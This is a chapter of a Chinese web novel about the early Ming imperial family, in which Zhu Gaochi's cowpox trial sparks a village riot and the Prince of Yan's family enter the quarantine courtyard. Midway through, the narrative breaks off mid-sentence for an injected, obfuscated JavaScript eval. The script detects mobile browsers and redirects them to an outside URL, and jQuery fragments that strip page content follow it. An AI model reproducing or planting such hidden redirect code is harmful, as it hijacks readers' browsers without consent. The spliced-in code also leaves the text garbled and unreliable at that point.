朱标回来皇宫,正是晚饭时间。
坤宁宫里,饭菜陆续上来,马皇后、朱雄英、朱济熺正在等他。
一家人彼此行礼,马皇后派人去请洪武皇帝,朱标将带回来的干海参、燕京烤鸭等食材递给小太监,说了这一趟出门的事。
马皇后得知胖孙子要功劳,笑得合不拢嘴:“这牛痘要是能成,一定给高炽记上功劳。”
“儿臣也这样说。”朱标笑着摇头。“小孩子心意难得,不能打击。”
朱雄英面露惊奇:“皇奶奶、爹,如果牛痘能成,高炽弟弟就是立下大功劳。”
朱济熺重重点头,一脸遗憾:“可惜,我们没有参与一点儿。”
马皇后和朱标哭笑不得。
小太监通报洪武皇帝来了,众人起身行礼。洪武皇帝笑道:“你们在说什么这么开心?”
朱标将经过讲了一遍,笑着感叹道:“到底是孩子心性相通。雄英和济熺都想着能成功。”
洪武皇帝瞬间表情无奈:“不知道天高地厚的小子们。牛是牛,人是人,牛痘怎么能用在人身上?那个无知无畏的小胖墩,折腾得咱累了一天,他还想要功劳?!”
朱雄英鼓着脸颊:“皇爷爷,牛痘人痘都是痘啊。高炽弟弟的想法很好。”
朱济熺不想反对皇爷爷,但还是犹豫道:“皇爷爷,孙儿认为,或许牛痘治病更合理。因为人生病用的药材,几乎都是动物植物身上取来的,好像没有从人身上取来的。”
洪武皇帝没好气地瞪两个孙子一眼,坐下来拿起来筷子,冷冷地教训道:“就你们小孩子的想法无法无天。”
吓得两个皇孙一缩脖子。
朱标咳嗽一声。
马皇后暗自瞪他一眼:“孩子们说说看法,挺好。”
洪武皇帝顿时脸上和蔼,笑道:“好,咱说错了。都坐下来吃饭。哎呀,今天的饭菜有点不一样。”洪武皇帝望着小太监刚端上 的几盘菜。
马皇后笑道:“老四媳妇上次寄给我的干海参,我吃着好,这次她又带着很多。因为不知道在驿站滞留多久,让老大帮着带回来。我就吩咐小厨房做了一道葱烧海参。”
“另外一道是高炽想出来的燕京烤鸭吃法。他们在驿站做了很多只送给太医们,老大带回来一只给我们尝尝味道。皇上吃试试?”
洪武皇帝点点头:“老四媳妇有孝心。”夹一筷子海参入口,一脸满足:“食材好,烧得好。你们都尝尝。”
马皇后、朱标、朱雄英、朱济熺下筷子,弹滑爽口、汁浓入味,齐齐露出满足的表情。
小太监上前要帮忙卷饼,朱标暗示他们退下,自己拿小饼卷烤鸭、甜面酱、葱丝、黄瓜条,递给洪武皇帝和马皇后。
马皇后也学着他的样子卷好两个,递给两个孙子。
洪武皇帝卷好一个,递给马皇后,见马皇后手里有了,转手递给朱标。
一家人举着小卷饼开吃,顿时露出不适应的表情,但是吧,慢慢咀嚼尝尝咽下去,别有一番风味。
朱标再吃一筷子,琢磨道:“皮脆肉嫩。相对京师烤鸭重视卤汁,斩块后浇咸鲜微甜的秘制红卤,直接下饭,这个吃法更适合一家人。”
洪武皇帝想着刚才一家人互相卷饼的画面,不禁笑出来:“老大说得好,这才是一家人吃饭的样子。小胖墩除了惹事,还挺会吃。”
朱标笑着赞叹:“父皇,高炽侄儿很懂事,记着他身边的伴读、小太监、侍卫帮他,记得四弟和四弟妹帮他。主动要求去看望太医们,每天给带去饭菜衣服柴火……”
“这才像个样子。”洪武皇帝语气埋汰,看向朱雄英、朱济熺:“这一点,你们可以说他做得好。”
朱雄英、朱济熺嘿嘿笑。朱雄英鼓起勇气:“皇爷爷、皇奶奶,高炽弟弟在京师这段时间,来大本堂上学吗?”
洪武皇帝正要回答,赵明进来行礼。
“发生什么事?”
“皇上,徐大公子在奉天殿门口请罪等候。十二皇子去魏国公府上,亲自驾驶马车带徐小公子出城。听说徐小公子昨天被徐大公子打了一顿板子,趴着不能动弹,通过徐家二姑娘给十二皇子送信。”
洪武皇帝听得愣怔,好一会儿反应过来,气得“啪”放下筷子。
“这两个混账!连二丫头都带坏了!等咱见到他们,全部打的屁股开花!”
马皇后劝说道:“皇上,这是好事,他们想见哥哥,想见姐姐,难得还有胆量悄悄出城。”
朱标也笑:“没想到十二弟还会驾驶马车。父皇,增寿已经屁股受伤了,你等他好了再打。”
“都是你们惯的。”洪武皇帝鼻腔喷气。见朱雄英、朱济熺一脸跃跃欲试,气恼道:“你们两个不许偷跑出城。赵明,领允恭进来一起用饭。”
赵明答应一声出去。
小太监进来通报,毛骧求见。
洪武皇帝起身出来坤宁宫,快步来到奉天殿。
“皇上,属下等收到消息,临安公主安排人去四合院闹事,说燕王草菅人命。”
“临安的胆子大了……”洪武皇帝脸色阴沉。“李祺刚能出府,她就报复老四一家。”他踱步半圈,眯眼沉思一会儿。
“既然如此,也好。咱就等着老四和小胖墩来和咱求救。”
*
洪武皇帝回来,徐允恭进来请罪,天家三代人和徐允恭一起用晚饭。
驿站门口,朱高炽见到十二叔驾驶马车,只带两个小太监小厮,大眼睛瞪圆。
“十二叔还会驾驶马车,十二叔威武。”朱高炽对十二叔竖着大拇指,看向趴在侍卫后背上下来马车的小舅舅,欢笑道:“小舅舅,皇爷爷知道后,你一定还会挨打,到时候你的屁股就发得像开花大馒头。”
徐增寿正屁股疼得龇牙咧嘴,闻言气道:“大外甥,你敢取笑你小舅舅。”
朱高炽鼻孔朝天得意洋洋:“身为外甥,当然抓住机会取笑小舅舅。”
“臭小子!”徐增寿笑骂一声,假装愁眉苦脸的样子,还装模作样“哎吆哎吆”叫唤几声:“好大外甥,听说你研究出来镜子,能赚大钱。”
闻言,朱高炽高高仰着胖下巴,笑道:“那可不,也不看看我娘是谁?
徐增寿愣了一下,随即放声大笑,笑着笑着“哎吆哎吆”叫唤,他疼得脑门冒虚汗,却伸手捏捏他的胖脸蛋儿,喜笑颜开:“大外甥说得好,你的机灵劲儿一定遗传我姐姐……”
朱高炽顿时傻眼,你不应该顺着表示娘家人的谦虚,夸夸我老爹吗?他半天没反应过来,徐增寿这话不是自己说的意思,自己明明只是说娘好!
分明是你曲解我的意思。
他忙看向老爹。
“爹,孩儿遗传你的英武,不对,孩儿所有的优点都遗传自爹和娘……”
徐妙云捂嘴笑。
朱棣伸手揉揉他的脑袋瓜,摇头失笑:“你小舅舅逗你呢。”
“好小舅舅!”朱高炽气得转头冲徐增寿伸舌头做鬼脸:“噜噜噜~~”
“好大外甥!”徐增寿也学他做鬼脸:“噜噜噜~~”
舅甥两个大眼瞪小眼,互相打量。
朱棣见此,乐得豪迈大笑。
徐妙云也笑。
十二皇子朱柏听着他们的斗嘴笑得欢乐,他年仅十二岁却比同龄人身形修长,面容俊美清朗,一身书生长袍飘飘有出尘之感,丝毫不见当年和徐增寿一起玩蛐蛐的顽皮。
一行人进来正院,侍卫放下徐增寿在罗汉床上,朱玉英带着奶娘丫鬟进来上茶点,给十二叔和小舅舅行礼。
朱高炽示意奶娘丫鬟们退下,和姐姐一起喂二妹二弟吃蛋羹。
徐妙云检查徐增寿的伤势,徐增寿害羞地躲来躲去,但是徐妙云还是看见屁股上的血迹,眼睛瞬间红了。
徐增寿忙道:“大姐,我没事,你别哭。”
朱棣知道徐允恭怕皇上动怒,所以打的狠了,安慰道:“王妃,增寿的伤没有伤筋动骨,养一个多月就好了。”
徐妙云轻轻点头,强忍泪意:“你们还没吃晚饭吧,我去厨房给你们准备几道菜。”说着,快步出去了。
朱棣知道王妃一定哭了。如果不是徐增寿通风报信,自己一家人直接进城,现在一定被父皇拿住结交勋贵官员的罪名,被逼着交出琉璃方子。
他想着接下来的应对之法,派人进城通知徐家和宫里,朱柏和徐增寿安全到驿站,今晚上住在驿站,蹙眉看向十二弟和小舅子。
“姐夫,大哥派人看着我,幸亏有小厮帮忙,送信给大妹,大妹送信给十二皇子。”徐增寿抓耳挠腮,转头不停地夸朱玉英,夸得朱玉英脸蛋儿通红。
“四哥,我怕走漏消息,只带了自己贴身太监,想留封信也怕被人早发现。”朱柏也怕四哥训话,转头喜爱地逗弄罗汉床上的两个小奶娃。
朱棣表情无奈,这两个弟弟,让人气得慌,又让人忍不住疼爱。
朱高炽心想,十二叔和小舅舅在各自家里一点人手都没有,能有勇气偷跑还能跑出来,已经很好了。
他见朱柏拿起围兜给朱高煦擦脸上的蛋羹渣渣,眼神欢喜清澈,心想历史记载朱柏最喜欢画婴孩,一手丹青有名家风范,后人可惜其所有画作随同他焚烧殆尽。没想到,他的眼神和婴孩一样纯真无暇。
“十二叔,侄儿听说你跟着名师学画画已经有所成?”
“我还是新手,距离小有所成还早。”提到爱好朱柏眉眼带笑,讲起来他的书法和画画,眉飞色舞,“我喜欢画画,也喜欢书法,尤其喜欢晋人书法,遒劲挺拔,章法胜绝……”
朱棣和徐增寿在一边小声说话。
罗汉床上,朱玉英、朱高炽听得入神,一碗蛋羹喂完,朱月贵、朱高煦和姐姐哥哥一起“啪啪”鼓掌,朱玉英、朱高炽一起喊:“十二叔威武。”
朱柏被如此赞赏,居然害羞地红了脸。
幸好徐妙云过来说晚饭准备好了,他忙慌爬起来去吃饭。
徐增寿侧躺在罗汉床上吃饭,徐妙云要喂他吃,他难为情又男子汉地说道:“我能自己吃,大姐,你别喂我……”
但是有人喂饭确实方便,徐妙云一勺勺喂着,他也就没嘴巴说话了。
朱棣出去派人进宫通知宫里和徐家,朱柏和徐增寿今天晚上住在驿站。
朱玉英、朱高炽和二妹二弟玩布老虎、九连环……
太阳西落,晚夏透过窗户照射进来,将人的脸照得红彤彤。
突然,外面一阵喧哗。
朱棣黑着脸进来。
朱柏紧张问道:“四哥,是不是父皇派人来抓我回宫?”
朱棣咬牙:“试验牛痘的四合院前,围堵了很多人,喊着草菅人命。还说我为了宠孩子拿天花玩,不顾百姓死活地抓附近村民做天花试验。”
“我已经吩咐侍卫去催促应天府衙门和县令前来维持治安。但幕后之人一定会想办法朝我们身上泼脏水。”
徐妙云手里汤匙一抖。朱玉英吓得脸色惨白,朱高炽手上的布老虎掉在地上。
“一定有人指使!”徐增寿气得蹦起来,却又扯到屁股上的伤势疼得“哎幺”一声,怒气冲冲喊道:“大姐,姐夫,一定是有人为了打压你,想抢琉璃方子!”
朱柏却是面露惊恐:“四哥,牛痘试验,是用附近村民吗?”
朱棣正思考,闻言抬手给他脑门一个脑崩儿:“你连四哥都不相信?牛痘试验要用人,有的太医用死囚犯,有的太医在自己身上试验。所以我才敬重他们。”
“太医们拿自己做试验?”朱柏和徐增寿异口同声,一样的震惊和不敢置信。
朱高炽捡起来地上的布老虎,看向朱玉英:“姐姐别怕。”目光看向老爹。
朱柏也看向四哥急忙忙解释道:“四哥,我是听说一些皇亲国戚勋贵对老百姓做的事情,吓到了。所以才会这么想。四哥别生气。四哥,不管是谁指使,我们快过去看看。”
朱棣看向四个孩子,表情犹豫:“老百姓被祸害怕了,如今民愤起来,我们过去以安抚为主。但如果我们过去,幕后之人会激我们动怒出手,很可能会打起来。王妃,你带着四个孩子留在驿站,照顾增寿。我和十二弟过去。”
朱高炽立即道:“爹,我们一家人在一起。”
徐增寿嚷嚷:“姐夫,我们谁也不留下。一家人有事一起上!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269752|196471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
朱柏着急:“可是两个小奶娃怎么办?万一那边打起来?”
徐妙云却表情坚决:“王爷,如果那边会打起来,驿站也不安全。我们一家人在一起,带走所有侍卫。”
朱棣心头一凛。如果他去了四合院,另外有一群人来驿站闹事,留下的娘几个可能更危险。
“好,我们一起去。”
朱棣带着侍卫们骑马。
一辆马车里,徐妙云抱着朱月贵,搂着朱玉英。
一辆马车里,朱柏抱着朱高煦,朱高炽、朱能、马和护着徐增寿趴着。
后面几辆马车是奶娘丫鬟们。
一行人很快来到四合院前。
此时已经天黑了,一排排火把点燃照亮夜空。
只听见人声鼎沸,附近村民大多过来了,几千人围堵四合院,有人喊“王爷草菅人命”,有人喊“你们太医就是刽子手”,还有人喊“他们就会用老百姓炼丹,狗官!还我儿子命来!”
十几个太医院的小厮学徒无助地看在门口,举着胳膊遮挡不断飞来的臭鸡蛋和石头子儿,狼狈不堪。
有人看到燕王一行人过来,大喊一声:“王爷来了!兄弟们,王爷来了!”
紧跟着一群乡间老人跑出来人群,领头跪下来磕头哭诉:“王爷,求您饶了我们的小命。王爷,求你饶了我们的小命……”
眨眼间,围堵四合院的人群全部跑过来跟着跪下,边哭边喊着求饶命。
朱棣吓了一跳,本来他已经做好抓拿乱民的准备,见此情景连忙跳下马挨个扶起来。
朱高炽在马车里一眼看见心惊胆战,面对老人,这比一群青壮年打起来还吓人万倍!他连忙跳下马车,徐增寿一看,硬要朱能和马和扶着,也下来马车。
朱棣正极力劝说跪地不起来的老人们。
“老人家,这里的天花试验,都是用死囚犯。甚至太医拿做试验。”
“找来的两只天花牛,太医们也十倍给银子。太医做试验,日常衣食住行也是本王提供,对附近村民没有任何冒犯之处。”
可是这些老人只是跪着哭求。
太医院的太医小厮刚才懵了,反应过来后跑过来,跪下来哭诉:“王爷,我们怎么说他们就是不相信。太医们在里面也不敢出来,生怕他们传染天花。”
朱高炽一听急眼了,这是要逼死老爹啊!他几步跑到老爹身边,张大嘴巴哇哇哭嚎:“我知道有坏人欺负乡亲们,但是我爹没有。你们以为我爹用乡亲们做试验,今天我就用自己做试验给你们看。”
转头对老爹喊一声:“爹,你就当孩儿跟着你上战场了。”几步助跑冲向四合院紧闭的大门,一脚踢开,跑进来,转身过来对所有人大喊:“天花是人类的共同敌人,你们在这里冤枉我爹,算什么本事!有本事和我一起冲进来,亲眼看看是谁在试验!”
几千人的哭喊声瞬间停住。
时间在这一刻凝固。
白白嫩嫩胖乎乎的四五岁小孩子,一看就是富贵人家养出来的,脖子上带着闪亮亮的金锁,穿着在黑夜里隐隐发光的布料,身上佩戴泛着荧光的玉佩,这真是王爷家的孩子。
王爷家的孩子跑进四合院?
难道真的没有用村民做试验?
死寂的空气中,徐妙云抱着朱月贵牵着朱玉英刚下来马车,一眼看见,身体一晃,只觉得眼前阵阵发黑。冯妈、王妈扶着她。
桑叶桑椹快速跑过去,就要抓朱高炽回来。
侍卫们也一起朝四合院冲。
“都站住!”却是朱棣喊了一声。
朱棣转身朝王妃大喊:“王妃,你带着人回去。今天我带着儿子上战场,另外一个战场。”说着,朱棣大步走向四合院。
朱高炽吓到了。
他知道牛痘能克制天花,老爹不知道啊,娘更不知道啊。
他吓得大喊:“爹,你别进来。你也进来了,娘和姐姐妹妹弟弟怎么办?爹!爹!爹!……”朱高炽一声声喊着“爹”,泪水模糊视线,他哭得撕心裂肺,泪水却是怎么也停不住。
他看见十二叔、朱能、马和扶着小舅舅一起进来。
他看见十几个村民,还有十几个妇女,十多个男孩女孩冲进来,哭着喊:“你们都不怕死,我们也不怕。”
他听见姐姐二妹二弟的哭声。
看见娘远远地望着他,哭着说:“高炽,别怕。过几天就好了。过几天娘来接你。来接你们。”
朱高炽在爹的怀里哭得不能自已。
他想解除老爹的危机,也想借机捞取“道德资本’。因为他知道牛痘一定能成功,进来四合院并没有危险。
但是他做梦也想不到,爹跟着进来,叔叔舅舅伴读小厮都跟着进来,乡亲们也跟着进来。
“爹……娘……爹……娘……”朱高炽哭得声音嘶哑,浑身颤抖。娘很坚强,可是娘带着姐姐、二妹二弟,这几天在外面是怎么样的煎熬。
还有这些人的家人,他们该是怎么样的害怕?
朱棣哄着他:“别哭,别哭。爹本来就想早早带你上战场。”
朱柏仰着脸露出大大的笑容:“高炽,别哭。能为攻克天花做试验,死也无憾。”
徐增寿靠在朱能和马和身上,咧着嘴巴笑得没心没肺:“这本就是男子汉该做的事情,开心。”
朱能和马和无声哭得一脸泪水,却坚强道:“小殿下,别怕,别哭。”
太医们纷纷出来,跪在他们面前,无声痛哭。
进来的乡亲们笑容坦荡从容,对着外面的人群流泪挥手。
门外的小厮学徒哭着跑进来,高喊着:“乡亲们,请相信我们,没有拿相亲们做试验。”说着,缓缓关上大门。
应天府府尹、当地县令带着衙役们姗姗来迟,看到哭着散开的人群,哭着却训练有素的燕王一行,双腿一软一屁股跌坐地上。
良久,应天府尹爬起来,抖着手咬破手指头在手帕上写下遗书,自己带头进去四合院……
此时已经是宵禁时间,京师城门关闭。
城外的锦衣卫想尽办法进城送消息。
午夜时分,毛骧用紧急权限叩开宫门。